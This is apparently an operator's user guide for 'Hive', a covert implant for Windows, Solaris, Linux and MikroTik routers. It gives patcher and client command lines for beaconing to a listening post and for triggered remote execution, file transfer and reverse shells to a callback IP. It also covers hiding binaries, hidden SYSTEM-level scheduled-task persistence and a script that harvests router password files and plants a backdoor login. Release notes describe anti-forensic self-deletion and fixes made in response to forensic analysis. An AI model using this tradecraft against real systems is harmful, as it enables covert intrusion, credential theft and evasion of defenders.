



## **(U) Hive 2.6.2 User's Guide**

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## 1 (U) Overview

(S) Hive is a software implant designed with “Ring 2” operations in mind. It has two primary functions: beacon and interactive shell. By design, both are limited in features with the purpose of providing an initial foothold for the deployment of other full featured tools.

(S) Hive provides implants for the following target operating systems and processor architectures See section 7 starting on page 17 for more details about available and tested versions.

Platform	Available	Untested
Windows 2000	v2.4	-
Windows XP SP0-SP3	v2.4	-
Windows Server 2003	v2.4	-
Solaris SPARC 10	V2.6.2	-
Solaris SPARC	V2.6.2	-
Solaris SPARC 8	V2.6.2	-
Solaris x86 10	V2.6.2	-
Solaris x86 9	V2.6.2	-
Solaris x86 8	-	-
MikroTik x86 4.x	V2.6.2	-
MikroTik x86 3.x	-	V2.6.2
MikroTik MIPS-BE 4.x	V2.6.2	-
MikroTik MIPS-BE 3.x	-	V2.6.2
MikroTik MIPS-LE 4.x	-	V2.6.2*
MikroTik MIPS-LE 3.x	-	V2.6.2*
MikroTik PowerPC 4.x	V2.6.2	-
MikroTik PowerPC 3.x		V2.6.2
Linux x86	V2.6.2	-

\* Linksys WRT54G flashed with DD-WRT v24sp2 used as surrogate for testing MikroTik MIPS-LE binaries. No actual RouterBoard (i.e. MikroTik) hardware was used.

(S) The Hive release consists of the following files along with the unpatched binaries.

Filename	Function
<b>css.xml</b>	XML file for cutthroat's custom command set.
<b>cutthroat</b>	Standardized interface for operators to run <i>hclient</i> .
<b>hclient</b>	Linux executable. Used to send triggers to and interactively communicate with the Hive implants. Has not been updated since Hive v1.X, but most implant features still work with it.
<b>hive</b>	Cutthroat ILM (i.e. module, shared library object). Provides the client functionality to send triggers to, and interactively communicate with, the Hive implants.

Filename	Function
hive-patcher	Linux executable. When run, it produces executables with command line parameters patched-in.
hiveReset_v1_0.py	Python script for updating existing hive implants on remote boxes with a more recent version.
honeycomb.py	Linux executable. Tool handler for Hive beacons. HTTPS beacons validated by Swindle are passed to Honeycomb. Honeycomb receives and logs the beacons.
swindle.cfg	ASCII text file. Hive beacons use Loki's Blot DP/LP. Swindle is the HTTPS proxy that verifies the beacons before forwarding to the tool handler.

(S) Below is the list of files included in this release, along with their size and MD5 hashes.

Filename	File Size (bytes)	MD5 Hash
CCS.xml	490235	1dd06dd5b74ceb7cab9b599a22f99975
cutthroat	1095780	caba38dc033c86f5f9daa837dfe4c2fa
hive	670859	216f0da2dca51fb33044e5b525db45a3
hive-patcher	1368840	dee62bac8aa66f6a309c2bb1c675c3e0
hiveReset_v1_0.py	60292	d3153e378e24f4bed0ceddfcab599fb8
honeycomb.py	15500	5ef80df352e52e191556663c0bcc3059
swindle.cfg	680	3b9185be038c826c39734f1be273b37f
<b>Unpatched Binaries</b>		
hived-linux-i386-unpatched	165280	a7729c8b0c5f1b0f3bc1888a43be3525
hived-mikrotik-i386-unpatched	163426	7905ecba0e020fe8883099fb45ff2e50
hived-mikrotik-mipsbe-unpatched	234944	e74ad934ff90aa2354d3874009563343
hived-mikrotik-mipsle-unpatched	235307	4f2d7d2e817684a21f2de8315c2d9eb3
hived-mikrotik-ppc-unpatched	175812	0806e6641cafe014266d30ee1d4b37ef
hived-solaris-i386-unpatched	174764	3adb8dfaf459948a0eea6a9439396059
hived-solaris-sparc-unpatched	207720	aa853024ec50b914c3cb3717b36d7e5c

## 2 (U) Pre-Deployment

(S) Before initial deployment, Loki's Blot/Swindle must be set-up with Hive's Tool ID (0x65ae82c7) to proxy connections to the Honeycomb tool handler. Honeycomb can reside on the same server as Swindle but it is strongly recommended that it be deployed on a different server. Honeycomb acts much like a traditional iterative server that handles incoming beacon connections one-by-one. After the implant is validated by Swindle, the implant traffic is re-routed directly to Honeycomb. Honeycomb then establishes an encrypted session with the implant. Swindle continues to proxy the encrypted network packets.

### 2.1 (S) Swindle

(S) Loki documentation covers the procedures for setting up a Blot DP/LP with Swindle, as such procedures are beyond the scope of this document. Hive provides a sample Swindle configuration file (`swindle.cfg`) to be saved to `/etc/blot/` on the Swindle server. Restarting Swindle (`service swindle restart`) will re-read the configuration file. The Hive project made no changes to the Swindle binaries or server and aims to fully conform to the existing Swindle protocols and procedures. In the Swindle configuration file, the most important parameters are the IP and port for the tool handler (e.g. Honeycomb) and the Hive Tool ID.

### 2.2 (S) Tool Handler

(S) Honeycomb is a server application that handles the beacons proxied from Swindle. The Honeycomb server can be configured to start the tool handler automatically at system start (via the `/etc/init.d` or `/etc/rc.local` scripts).

Honeycomb accepts the following command line options:

```
python2 honeycomb.py [-p <port>] [-f <file path>] [-l <log path>]
```

where:

**<port>** is the port that honeycomb will listen on for proxy connections coming from Swindle.

**<file path>** is the location where beacon rsi files will be written.

**<log path>** is the location where beacon log files will be written.

(S) Upon receiving a beacon, Honeycomb will parse-out the MAC address, public IP address, and uptime of the implanted box. Honeycomb will then write out a ".rsi" file that is one-way transferred for ingestion into Ripper Snapper. The implant ID used in the Ripper Snapper files is the unformatted MAC address of the implanted box. As of Hive 2.0 additional survey data are collected from the beacon. Additional information on this data can be found in section 3.1.

(S) Hive v2.0 functionality was added to Honeycomb so that it will keep a basic log of beacons that are received. Every beacon will have a log entry created that contains a timestamp of when the beacon was received, the MAC address, public IP address, and the version of the implant that beacons. In addition, for Hive v2.0 beacons and later, there will be a flag related to which OS the beacon came from.



## 2.3 (S) Patcher

(S) `hive-patcher` patches parameters into the implant binaries to reduce the implant's footprint on the target. The patcher “gives birth” to the implant binaries. In other words, the patcher creates the needed binaries for the operator without requiring a pre-existing reference executable. The patcher will create patched versions (with the string “PATCHED” in the file name) in the current working directory from where the patcher is run. Hive implants are not required to be patched, as the implants will still use command line arguments. However, in the case where the Hive implant is patched AND the operator passes it runtime arguments, the implant will only use the patched arguments. Except for the '-m' option, the patcher and the implant accept the same options.

```
./hive-patcher -a <addr> [-p port] [-d <b_delay>] [-i <interval>] \
    [-j jitter] [-s sd_delay] [-t <t_delay>] [-I <interface>] \
    [-m <OS>]
```

where:

<addr> is the IP address or hostname of beacon server, that is, the Swindle proxy.

<port> is the (optional) beacon port. Default is 443 for HTTPS which is the protocol the Hive implants and Swindle emulate.

<b\_delay> is the initial delay (in seconds) before the first beacon is sent. If b\_delay is 0, then beacons will be disabled.

<interval> is the beacon interval or sleep time between beacons (in seconds).

<jitter> is the beacon jitter (as a percentage). That is, the amount of beacon variation as a percentage of current beacon interval.

<sd\_delay> is the self delete delay (in seconds). Amount of time since last successful beacon or trigger allowed to pass before self-deletion occurs. If unused, the default value is 60 days in seconds.

<t\_delay> is the (optional) delay (in seconds) between trigger received and callback +/- 30 seconds.

<interface> (Solaris only) The interface on which to listen for triggers. Usually something like “hme0” or “e1000g0”. Required option for Solaris, but ignored for Windows, Linux, and MikroTik.

<OS> is the target operating system. Patch parameters into this type of executable. Options are 'all', 'raw', 'win', 'mt-x86', 'linux-x86', 'sol-x86', or 'sol-sparc'. 'all' is the default. 'raw' provides all binaries but unpatched versions.

### Examples:

(S) Patch Windows executable to beacon to 10.3.2.169:443 every hour, with 5% beacon jitter variance, after default initial delay using:

```
./hive-patcher -a 10.3.2.169 -i 3600 -j 5 -m win
```

(S) Patch Solaris SPARC executable to beacon to 10.3.2.169:443 every hour with initial delay of one hour using interface hme0 with:

```
./hive-patcher -a 10.3.2.169 -p 443 -i 3600 -d 3600 -I hme0 -m sol-sparc
```

(S) **NOTE 1:** Change the name of the resulting executable into another name that would be consistent with hiding it on the target system before deployment. Record the new name so you can use it for future reference as required.

(S) **NOTE 2:** The patcher will support hostnames up to 256 characters long.

## 2.4 (S) SSL Certificates

(S) The implant communicates with the Hive client using SSL connections. Three files, *server.crt*, *server.key* and *ca.crt*, must be installed in the same directory as the client and must have read permissions set so they can be accessed by the client. **Communications with the implant will fail if any one of these files are missing or invalid.** (For an example see section 5 on page 15.)

## 3 (U) Deployment

### 3.1 (S) Beacons

(S) Patched or unpatched implants are provided by the generator application. In the case of unpatched implants, the implant is started on target using the same command line arguments as the patcher, less the patcher's '-m' option (see Section 2.3). The Solaris, Linux, and MikroTik implants will detach from the user's terminal and fork into the background. The Windows implant will attempt to establish a basic level of reboot persistence by creating a hidden task, which will have a filename of `SystemRestorePoint.job`, in the Windows Task Scheduler. This task will restart the implant upon system startup as the `SYSTEM` user. Windows persistence will only be setup if the implant has been patched.

(S) The goal is for the operator to have a consistent user experience, regardless of the implant's operating system. On the wire, the implant mimics a SSLv3 handshake with Swindle (LP) and then sends a small amount of encrypted data to the tool handler. The encrypted beacons consist of the Swindle Tool ID, system uptime, and MAC address\*. Hive version 2.0 added additional survey information to the beacon. This data includes a process listing, `ipconfig/ifconfig`, "`netstat -rn`", and a "`netstat -an`". In the event the survey fails, the RSI file will show an empty data element in the XML.

\*NOTE: (S) The Windows implant pulls the MAC address from what the O/S thinks is the "primary" network interface. The Solaris implant attempts to pull the MAC address first from an interface named `hme0` and then `e1000g0` regardless of whether those interfaces are configured, active, or not. Similarly, the Linux and MikroTik implants use the MAC assigned to the `eth0` interface. At this time, the MAC address is used only as a unique identifier for tracking implants.

(S) The beacon parameters cannot be changed dynamically by the hive tool handler. To change the beacon parameters, the implants need to be re-patched with new parameters and re-deployed, or in the case of unpatched implants, they need to be restarted with new command line arguments.

### 3.2 (S) Triggers

(S) The Hive client establishes an interactive session with the implant by sending it a trigger. Hive versions 1.0 through 2.6.2 support the following seven trigger types:

**ICMP:** ping-request, ping-reply, icmp-error

**UDP:** dns-request, tftp-wrq, raw-udp

**TCP:** raw-tcp

(S) To use the ICMP based triggers, the operator must execute the Hive client with root privileges. The icmp-error and UDP triggers are a single packet. After the TCP handshake, the raw-tcp trigger is a single packet. The two ping triggers – ping-reply and ping-request – are a series of 5-6 packets with data encoded in each. All packets in the sequence must be received for the trigger to work.

(S) The raw-udp trigger can be sent to any UDP port on the target system. The raw-tcp trigger can be sent to any open and listening port on the target system.

(S) During preliminary developer testing, it was discovered that some ISPs may block, as a matter of policy, ICMP error packets. Your mileage may vary. However, the developers also discovered that the Windows firewall setting *ON with no exceptions* blocks all triggers except the icmp-error triggers. [Note: Cisco ASA default policy is to drop ICMP error and IV&V results were contrary.]

(S) The Hive implant watches for trigger packets in the incoming flow of network traffic. This “sniffer” behavior is slightly different on each operating system. On Windows, Hive listens for traffic only on the network interface the operating system deems is the “primary network interface.” On Solaris, the user must specify which single interface to sniff via either the patcher or the command line using the `-I` switch. On Linux and MikroTik, Hive listens on all physical interfaces.

(S) Once the implant receives a valid trigger, it pulls the callback IP address and port from the trigger packet, waits a default delay, and then calls back to the listening Hive client. Once connected, the implant and Hive client perform a TLS handshake and initialize an AES encrypted session. See (U) *Appendix A: Idiosyncrasies & Limitations* on page 16 for special situations.

### 3.3 (S) Clients

#### 3.3.1 (S) hclient

(S) The Hive client has been designed so that triggers can be sent from one Hive client and callbacks caught with another. Or, if preferred, triggers from and callbacks to the same Hive client (default). This behavior is configured via the Hive client command line as detailed here.

To listen only:

```
./hclient-linux -p <port>
```

To trigger only or trigger & listen:

```
./hclient-linux -p <port> [-t <target IP>] [-a <listener IP>] \
[-P <protocol>] [-r <raw port>] [-m <mode>] [-h]
```

where:

**<port>** is the callback port.

**<target IP>** is the IP address of target (required for triggers).

**<listener IP>** is the IP address of listener (required for triggers).

**<protocol>** is the trigger protocol: dns-request, tftp-wrq, icmp-error, ping-reply, ping-request, raw-tcp, or raw-udp (required for triggers).

**<raw\_port>** is used when using raw triggers. This specifies on which port to send the trigger. (required for raw triggers)

**<mode>** tells the client to listen-only (l), trigger-only (t), or both (b). Both is the default.

**-h** prints the usage.

(S) Once connected, the Hive client provides an interactive session with basic functions. "Old school" operators will recognize the Hive client – it is essentially the same interface with commands used by the Forklift tool.

(S) List of allowable commands:

**execute | exec | exe** execute an application on the remote computer

**upload | ul | up** upload a file to the remote computer

**download | dl** download a file to the local computer

**delete | del** delete a file on the remote computer

**exit | q** close the TCP connection but keep the server running on the remote computer

**shutdown | shut** for the Windows implant, closes the TCP connection and stop the server running on the remote computer. This DOES NOT uninstall or delete the implant. See NOTES below for details. For the \*nix implants, same as exit.

**help** display help information

(S) Examples of command usage:

```
./hclient-linux> exec <remote application name>
./hclient-linux> ul <local src filename> <remote dest filename>
./hclient-linux> dl <remote src filename> <local dest filename>
./hclient-linux> del <remote filename>
./hclient-linux> exit
./hclient-linux> shut
./hclient-linux> help
./hclient-linux> exec "rm -f filename"
./hclient-linux> exec "del filename"
```

(S) **NOTE:** The secure shell is not supported by hclient.

### 3.3.2 (S) Cutthroat/Hive-ILM

(S) The same hclient functionality described in Section 3.3.1 is available as a Cutthroat Implant Library Module (ILM). Cutthroat is the standardized management interface for controlling the Hive implants, versus the executable hclient-linux binary. You should verify that your version of cutthroat is operational by entering the command “./cutthroat”. To use cutthroat with Hive, you must also have *hive* (the implant library module) and *CCS.xml* installed in the same directory as cutthroat. To start the Hive implant library module, you must first enter the following commands: “./cutthroat hive” or “./cutthroat” followed by “load hive”. **It should be noted that two of Cutthroat's commands, *verbosity* and *mode* are not used by the Hive implant and should be ignored.**

(S) If the Hive ILM loads, the operator will see a “[success] Successfully loaded hive [load]” message followed by cutthroat's standard greeting which includes cutthroat's version number on the computer terminal. The operator may hit the “tab” key at any time to see a list of available commands for the operator to select while operating cutthroat.

**(S) Warning: When using two clients to separately handle trigger and listen, the operator should start the listener first. The operator should assume failure unless the operator receives a “Success” message via the cutthroat interface.**

(S) **NOTE:** When the target is a Solaris platform, do not close any shell until the end of the session. If you do, you must retrigger the device to use any trigger commands (e.g. upload, download, etc.). The ILM reminds the user with the following note:

```
NOTE FOR SOLARIS ONLY: Keep all shells open until you are done.
Once you close any solaris shell, the trigger will appear normal
but it is no longer connected. In this case, you must quit the
trigger and retrigger the device.
```

### 3.3.2.1 (S) Disconnected State

(S) While in a disconnected state, the following commands are available:

```
ilm trigger  send trigger to remote host
ilm listen   listen for reverse connect from remote host
ilm connect  combines functions of trigger and listen.
quit         exits the cutthroat application
verbosity   unused
mode         unused
```

### 3.3.2.2 (S) Disconnected State: Cutthroat Listener

(S) To start the listener, enter:

```
ilm listen <port number>
```

where <port number> is any number from 1 through 65535. For example, if the operator enters “ilm listen 4567”, they should observe the following message “Listening for connection on port 4567 ...”.

(S) The listener will continue listening on the assigned port until it receives a response from the implant or the operator kills the current process.

### 3.3.2.3 (S) Disconnected State: Cutthroat Connect

(S) The connect option combines the functionality of the trigger and listen options. Connect is called in the exact same way as trigger, with the use of a trigger file being it's only parameter:

```
ilm connect <triggerFileName>
```

See the section 3.3.2.4 for details on how to create a trigger file.

### 3.3.2.4 (S) Disconnected State: Cutthroat Trigger

(S) To start the trigger, enter:

```
ilm listen <triggerFileName>
```

where the <triggerFileName> is the name of any file in the directory where cutthroat is running. If the trigger file does not exist, the requested trigger file will be created and the operator will be prompted for the following information:

<b>Listener's IP Address</b>	IP address used by the implant to connect back to the Listener.
<b>Listener's Port Number</b>	Open port on the Listener waiting for the implants callback
<b>Target IP Address</b>	IP address where the implant is currently installed.
<b>trigger protocol</b>	trigger protocol: <i>dns-request, tftp-wrq, icmp-error, ping-reply, ping-request, raw-tcp, raw-udp</i> (Required for triggers.)
<b>raw port</b>	Raw Port number in the range of 1 through 65535 where the raw-tcp or raw-udp trigger will be sent. For all other trigger protocols (i.e. <i>dns-request, tftp-wrq, icmp-error, ping-reply, ping-request</i> ), this should be set to -1.

(S) The trigger file will contain each of the previously defined parameters separated by a '|' between each field. A sample of the first line of a sample trigger file is shown below:

```
10.3.2.141|4567|10.2.5.99|dns-request|-1
```

where the listener's IP address is 10.3.2.141, listener's port number is 4567, the Implant is running on a target host with IP address of 10.2.5.99 and a dns-request protocol type will be used to trigger the implanted device. Note that since a dns-request protocol is being used, the raw port is set to -1.

(S) If the trigger file does exist, the operator should see a message of the parameters used for the trigger displayed on the screen as well as a "The trigger was sent." message, along with a success or failure status. NOTE: A "success" at this point only means that a trigger was sent.

(S) If everything worked, the listener should receive a callback from the implant based on implant's configured trigger delay. The client is now in a connected state and different command line options are available in cutthroat.

**(S) NOTE: The operator should verify that the "[<implant IP address>]" prompt within the listener actually displays the intended target's IP address. It has been noted that other implants that also receive the trigger packet may attempt to respond, thus creating a race condition where the first device to respond will usually receive the connection.**

### 3.3.2.5 (S) Connected State

Once the cutthroat client is connected to the implant, additional commands will be available for control of the implant. Below is the list of available commands:

**cmd exec** execute an application on the remote computer. As an argument, enclose the command to execute in double or single quotes. See example below.

- file put** upload a file to the remote computer. Requires 2 arguments: source and destination filenames. **NOTE: Be sure the target has sufficient space for the file, as Hive does not currently provide any indication of an unsuccessful transfer due to insufficient space on the filesystem.**
- file get** upload a file to the remote computer. Requires 2 arguments: source and destination filenames.
- file delete** delete a file on the remote computer. Requires 1 argument: filename.
- ilm exit** close the Listener's TCP connection, but keep the server implant running on the remote computer. Cutthroat application stays open. Same as shutdown now.
- quit** close the Listener's TCP connection, but keep the server implant running on the remote computer. Cutthroat application will also close.
- shutdown now** close the Listener's TCP connection, but keep the server implant running on the remote computer. Cutthroat application stays open. Same as ilm exit.
- shell open** open an encrypted shell with the client (as a separate process). Takes three parameters in the following order: client IP address, client port number, and a password that initializes the Twofish symmetric cipher. See the example below. *Hive v2.6.2 supports the encrypted secure shell on all devices.*  
**NOTE: This shell will remain open and connected to the target host until exited even if the ILM client is exited.**

(S) Examples of command usage:

```
[10.2.5.22]> cmd exec "/path/to/file arg1 arg2"
[10.2.5.22]> file delete /path/to/file
[10.2.5.22]> file get /path/to/remote/file /path/to/local/file
[10.2.5.22]> file put /path/to/local/file /path/to/remote/file
[10.2.5.22]> ilm trigger /name/of/trigger/file
[10.2.5.22]> ilm exit
[10.2.5.22]> shutdown now
[10.2.5.22]> shell open 192.168.1.100 4444 Password1
```

### 3.3.3 (S) Client Operational Notes

(S) The following topics are common to both hclient and ILM clients.

#### 3.3.3.1 (S) File Deletion

By default, the *delete* command will attempt a *secure delete* and overwrite the named file with zeros before deletion. If the *secure delete* fails, it will return an “unsuccessful” status to the Hive client. If the *secure delete* fails, the operator should then try to execute an “exec” command with either an “rm -f <filename>” or a “del <filename>” command for Unix or Windows implants, respectively, as shown in the examples in sections 3.3.1 and 3.3.2.5 above.



### 3.3.3.2 (S) Default File Permissions

On Solaris, Linux, and MikroTik, files uploaded are written to the remote system with 644 permissions. After uploading an executable, and before executing it, make the file executable by using Hive to execute `chmod a+x <filename>`.

### 3.3.3.3 (S) Shutdown Command

The *shutdown* command only causes the implant to stop running its current instance. This means that when the target is rebooted, the implant will restart. The shutdown command does not delete the implant or uninstall it from the boot-time start-up routines. Using a Windows target as an example, one potential work-around is to establish a Hive shell session and use 'exec schtasks' to delete the hidden task *SystemRestorePoint* which is the cover task that starts Hive at boottime.

### 3.3.3.4 (S) Connection Timeouts

Currently all versions are able to recover from the loss of connection between implant and client. This is achieved by Hive spawning off a separate process to handle each triggered connection on Unix platforms and spawning off separate threads on Windows. This also allows multiple connections to the same implant. There are currently two timeouts enabled on these connections. The first is a connect timeout. **If a Hive implant is unable to connect back to the client after 5 minutes, the connection will kill itself. Hive will also kill the connection to an implant after 60 minutes of inactivity.** Currently, there is no notification in the client that a connection has been closed; however, when the next command is entered the client will report that the command can not be completed.

### 3.3.3.5 (S) Windows Secure Shell Tradecraft

When the secure shell command is called, it will write out the shell to disk and then spawn off a new process for the secure shell. The secure shell will be called whatever Hive is called plus "32.exe". It will be executed in the same directory as Hive. The secure shell will also self delete once it is finished with execution by a self deleting the .cmd file that is called "~mstemp.cmd." This cmd will only be on the system for a matter of seconds.

## 3.4 (S) hiveReset\_v1\_0.py

(S) Since Hive has been installed and used on such a wide scale, an update capability was provided for updating the Hive implants on remote boxes. This script requires Python 2.7 with a "pexpect" module/capability. It is expected that Cutthroat and the Hive ILM also be located in the same directory as the *hiveReset\_v1\_0.py* script. **To update a remote box, you must first have the following information:**

**Old implant file name** Name of Hive implant currently running on the remote box.

**Installation directory** full path name that starts and ends with a "/" where the old Hive implant is currently installed (e.g. */rw/pkg/*).

**Operating System** Mikrotik MIPS LE, Mikrotik MIPS BE, Mikrotik PPC, Mikrotik x86, Solaris sparc, Solaris x86, Linux, or Windows. **NOTE: An update capability for Microsoft Windows does not exist at this time.**

**Full busybox name** For Mikrotik routers only. Includes the full path prefix with busybox name (e.g. */rw/pckg/busybox*).

**New Hive implant name** New Hive implant filename that was just created using the *hive-patcher* program specified above.

**Cutthroat parameters** Callback IP and port, trigger type, remote IP (box with Hive implant that will be updated), etc. as specified above.

(S) After the operator has determined all the above parameters and has the necessary files (new Hive implant, Cutthroat, and Hive (ILM)), the operator may update a box using the following command:

```
hiveReset_v1_0.py [-s, -b] -f <Configuration File name>
```

where the -s option means only a single box will be updated and the -b option refers to a batch process where multiple boxes are updated. Note that the user may also use a -h option to display a usage statement. If the configuration file does not exist, just give it a new name and it will be created after the operator has answered a variety of questions.

(S) This same configuration file, can be used to update multiple Hive implants as long as they have the same configuration. For example if two boxes with IP addresses of 10.1.2.3 and 10.3.2.1 respectively are running an old Hive implant (same name) in the same installation directory (same full path name) with the same busybox name “e.g. */rw/pckg/busybox*” both boxes could be updated using the following command:

```
hiveUpdater.py -b -f <Configuration File name>
```

where the Configuration File contains a line for the target File which contains the IP address of each box being updated. In this case, “10.1.2.3” and “10.3.2.1” would both be on a separate line. Note that this list may contain multiple target IP addresses, but all the Hive Updater Configuration settings contained within the configuration file must be the same. Note that once these files are created, they may be used again for all future updates as long as the parameters remain the same.

(S) Note that this python script also contains a reset option which will reset the */var/.config* timer file for all linux, Mikrotik, and Solaris boxes. This reset script was also modified to retrieve passwords and create one directory on all Mikrotik devices per guidance from COG based on their standard exploits. Passwords contained in the */nova/store/user.dat* and the */rw/store/user.dat* files are stored in a *pA.IPAddress* and *pB.IPAddress* files respectively for Mikrotik devices. The reset capability will also create a */nova/etc/devel-login* file that is used by COG to exploit the targeted device.

(S) It has been noted that this same update capability can and will be upgraded/expanded in future versions of Hive to install other modules and tools for target exploitation in an automated fashion.

## 4 (U) Post-Deployment

### 4.1 (S) Self-Delete

(S) Self-delete was first added to Hive in version 2.2 and is used to ensure that any Hive implant that lays dormant (has not beacons successfully to its designated LP or has not been triggered from a command post) for a predetermined amount of time effectively destroys itself with the only remnant being a “configuration file” (.config) and a log file (.log) left behind in /var directory. During normal operation the .config file is empty, with its last modified time indicating the time of last contact – either from a beacon or a trigger – and the .log file is non-existent. When self-delete executes, the Hive binary is deleted from the host and the .log file is created with a time stamp inserted into it using the format yymmddHHMMSS. (The time stamp inserted into the file should match the last modification time of the file.) On Linux and MikroTik, the implant will overwrite the binary on the filesystem with zeros. On Solaris, a self deleting shell script is created at "/tmp/.configure.sh". This shell script will delete the Hive binary from disk and then delete itself.

*NOTE for Windows Only: In older versions of Hive, a hidden file named uninstallreadme.txt is created in the "C:\windows" directory. The implant deletes the timer file and then creates a self-deleting ".bat" file to delete the binary from disk.*

(S) The decision to self-delete is determined by the difference between the system time and the last-modified time stamp on the configuration file. Whenever the system time exceeds the time stamp on the configuration file by more than the delete delay, Hive will self-delete. It is important to note that the system time on implanted devices may vary widely depending upon the environment. Consequently, the simple act of correcting the date/time on the device by a system administrator could result in self-deletion.

## 5 (U) Troubleshooting

(S) Below is an example two ILM client sessions, the uncolored area being common to both. The light green section shows a good connection, the light yellow a bad connection that was caused by using an SSL certificate chain (*ca.crt*) that doesn't match the server certificate (*server.crt*).

```

root@kubuntu-11:~/hive# ./cutthroat ./hive
[success] Successfully loaded ./hive [load]

CutThroat
JY008C634-6
Version: 2.2
CCS Version: 2.2

Usage:

    verbosity <level>          Sets the verbosity level
    mode <new mode>            Sets the operating mode of CT
    load <ILM Filename>        Loads the library
    quit                        Exits Command Post

> ilm connect dns
Listening for connection on port 8123 ...

Trigger details:
. Remote IP address 10.6.5.190 with dns-request trigger
. Callback IP address 10.6.5.195 on port 8123

Trigger sent.

... connection established!

Connection details:
. Remote IP address 10.6.5.190 on port 42146
. Local  IP address 10.6.5.195 on port 8123

Enabling encrypted communications:
. TLS handshake complete.

[Success]
***** Success *****
[ilm connect 10.6.5.190]

Enabling encrypted communications:
> Error: Certificate chain verification failed: NOT TRUSTED
* Error: TLS connection with TLS client failed to initialize.
[Local Failure]
***** Local Failure *****
[ilm connect dns]

>

```

## 6 (U) Appendix A: Idiosyncrasies & Limitations

(S) On Windows, the operating system resets the uptime to zero after the system has been up for 49 days. Currently, there is no current mechanism available to differentiate between a “rollover” (i.e. system up longer than 49 days) and an actual reboot.

(S) On Solaris or Linux, executing a GUI program without backgrounding the process (using an ampersand on the command line following the command) may cause the interactive session to hang. Generally, it is probably a bad idea to execute a GUI program on your target anyway.

(S) On Solaris, Linux, and MikroTik, files uploaded are written to the remote system with 644 permissions. After uploading an executable and before executing it, make the file executable by using Hive to execute `chmod a+x <filename>`.

(S) The patcher will support hostnames up to 256 characters long.

(S) MikroTik systems store DNS configuration in a proprietary format. Even if the MikroTik is configured with DNS server(s), the MikroTik system libraries don't know how to read it. Therefore, Hive cannot resolve hostnames. The operator could enable DNS by creating the `/etc/resolv.conf` file and marking it as executable. The following example uses Google's public DNS server:

```
echo "nameserver 8.8.8.8" > /etc/resolv.conf && chmod a+x /etc/resolv.conf
```

(S) The implant sniffs all traffic it can see, looking for a valid trigger. For example, if there are multiple hosts on a hub (not a switch), a trigger packet sent to a non-implanted host will be seen by the implant and cause a callback. Similarly, if there are multiple implanted hosts on a hub, then a race condition exists. The host implant responding first will typically get the connection. This can also have other ramifications. For example, if the border router is implanted, as well as others deeper in the target network, all triggers sent to any host (implanted or not) in that network will be first seen by the border router and the operator will receive a callback from the Hive implant on the border router.

(S) To verify secure delete on Solaris, one must first unmount the partition.

(S) If the system time on target is reset or advanced 60 days into the future, the Hive implant will self-delete itself. Also if the target machine is down for 60 days, the implant will self-delete itself on startup.

(S) Hive on Windows 2000 may have issues receiving UDP type triggers due to a bug in the O/S (reference Windows Hotfix: [support.microsoft.com/kb/890856](http://support.microsoft.com/kb/890856)).

## 7 (U) Appendix B: Release Notes

*This section is classified SECRET//NOFORN in its entirety.*

### V2.6.2 01/13/2014

- Uses polarssl havege code to produce random numbers versus /dev/random or /dev/urandom because at reboot, MikroTik devices exhibited similar random number sequences. This resolves the issue of the LP seeing what it believes to be a TCP replay attack for MikroTik devices by properly seeding the random number generator in the implant for all architectures.

### V2.6.1 03/15/2013

- Removes string definitions used to obfuscate debug code that was not needed in Hive releases, but that could be revealing if found.

### V2.6 01/30/2013

- This release of Hive primarily addresses forensic issues discovered by a forensic analysis performed by IOC/AFD on Hive version 2.5 and documented in their report from October 26, 2012 (AFD-2012-0973-2). Hive 2.6 changes the common trigger encoding along with the encoding scheme for raw TCP and UDP triggers.
- The SSL server certificates used with the Hive client (command and control) are now read from files rather than being hard-coded into the client. In addition, the Diffie-Hellman parameters used to establish the SSL connections have been changed.

### V2.5.2 12/06/2012

- Fixes a bug in the 2.5 code that was also carried into 2.5.1 that may lead to premature self-deletion of the implant.

### V2.5.1 11/29/2012

- Modifies all mikrotik, linux, and solaris code so any successful beacon or trigger will also create a /var/.config timer file if it does not already exist. Note that the trigger listening function will automatically self delete the executable if it discovers that the /var/.config file does not exist. If a self delete occurs, the normally empty /var/.config will contain a time stamp when the actual self delete occurred using a yymmddHHMMSS format. Previous versions would allow the executable to stay on the box but would stop the process whenever the /var/.config file was removed. Version 2.4's Caution for Solaris shells still applies. A new Hive updating script called hiveReset\_v1\_0.py was added which also resets the self-delete timer for all linux, Mikrotik, and Solaris devices.

### V2.5 06/20/2012

- Allows operator to change the self delete timer from the previously hard coded setting of 60 days. The delay option unit was changed to long versus int to enable longer delays before the first beacon. A hiveUpdater.py script was added to allow remote updates of Hive implants for Linux, Solaris, and Mikrotik routers. Version 2.4's Caution for Solaris shells still applies.

**V2.4 03/05/2012**

- Allows full shell open capability for all boxes. Solaris boxes are cautioned to close any shells they open at then end. Otherwise, when a Solaris shell is closed, the trigger session is also closed. This code should remove Mikrotik "spillage" problems in beacons. Setting the beacons initial delay with the -d option (i.e. -d 0 ) also stops all beacons.

**V2.3.1 01/23/2012**

- Added support for Windows 2000.
- No change to \*nix binaries.

**V2.3 12/12/2011**

- All implants updated to include support for beacon jitter and compressed beacons.
- Beacon code was significantly re-worked as part of the beacon jitter and compression features. The hope is that this also fixes the non-parsable characters that sometimes are sent by MikroTik implants (i.e. "spillage").
- Secure shell functionality was added to the following supported platforms:
  - Windows (all)
  - Linux x86
  - MikroTik (all)
  - Solaris SPARC 9-10
- With this release, secure shell does not work on the following platforms:
  - Solaris SPARC 8
  - Solaris x86 8-10
  - To use the secure shell functionality, users must use the updated Hive ILM module that provides this command. The Hive v1.0 hclient continues to work with other features, but was not updated to support the new secure shell functionality.

**V2.2 08/22/2011**

- Updated Windows with the Trigger hanging fixes from 2.1.
- Windows can now handle multiple triggered connections at once.
- All platforms will now self-delete themselves after 60 days of no contact
- Added enhanced beacon functionality to Mikrotik. Mikrotik can now return ifconfig, netstat -an, netstat -rn, and a ps -ef.
- Fixed an issue where Mikrotik implants would not beacon after the router had been rebooted.

**V2.1 05/23/2011**

- Updated code with reliability fixes so the trigger no longer hangs due to an implant being improperly shutdown. These fixes are currently implemented on all platforms except for Windows.
- Updated the beacon code so that it now returns more survey data. This data includes ipconfig/ifconfig, netstat -an, netstat -rn, and a process list. Currently Mikrotik returns empty data due to the actually commands not existing on a host unless busybox is present.
- Added support for the new beacons and beacon format to honeycomb. Honeycomb is backwards compatible with beacons back to Hive v1.1.
- v2.0 05/9/2011

- Added support for use of the Hive client through the CutThroat interface.
- v1.1      04/14/2011
- Backport of stability and reliability fixes we added to Hive 2.0 36.
- Updated hclient to give slightly better feedback to user when connection 37 goes down.
- v1.0.2      01/21/2011\*, 02/14/2011\*\*, 03/07/2011\*\*\*
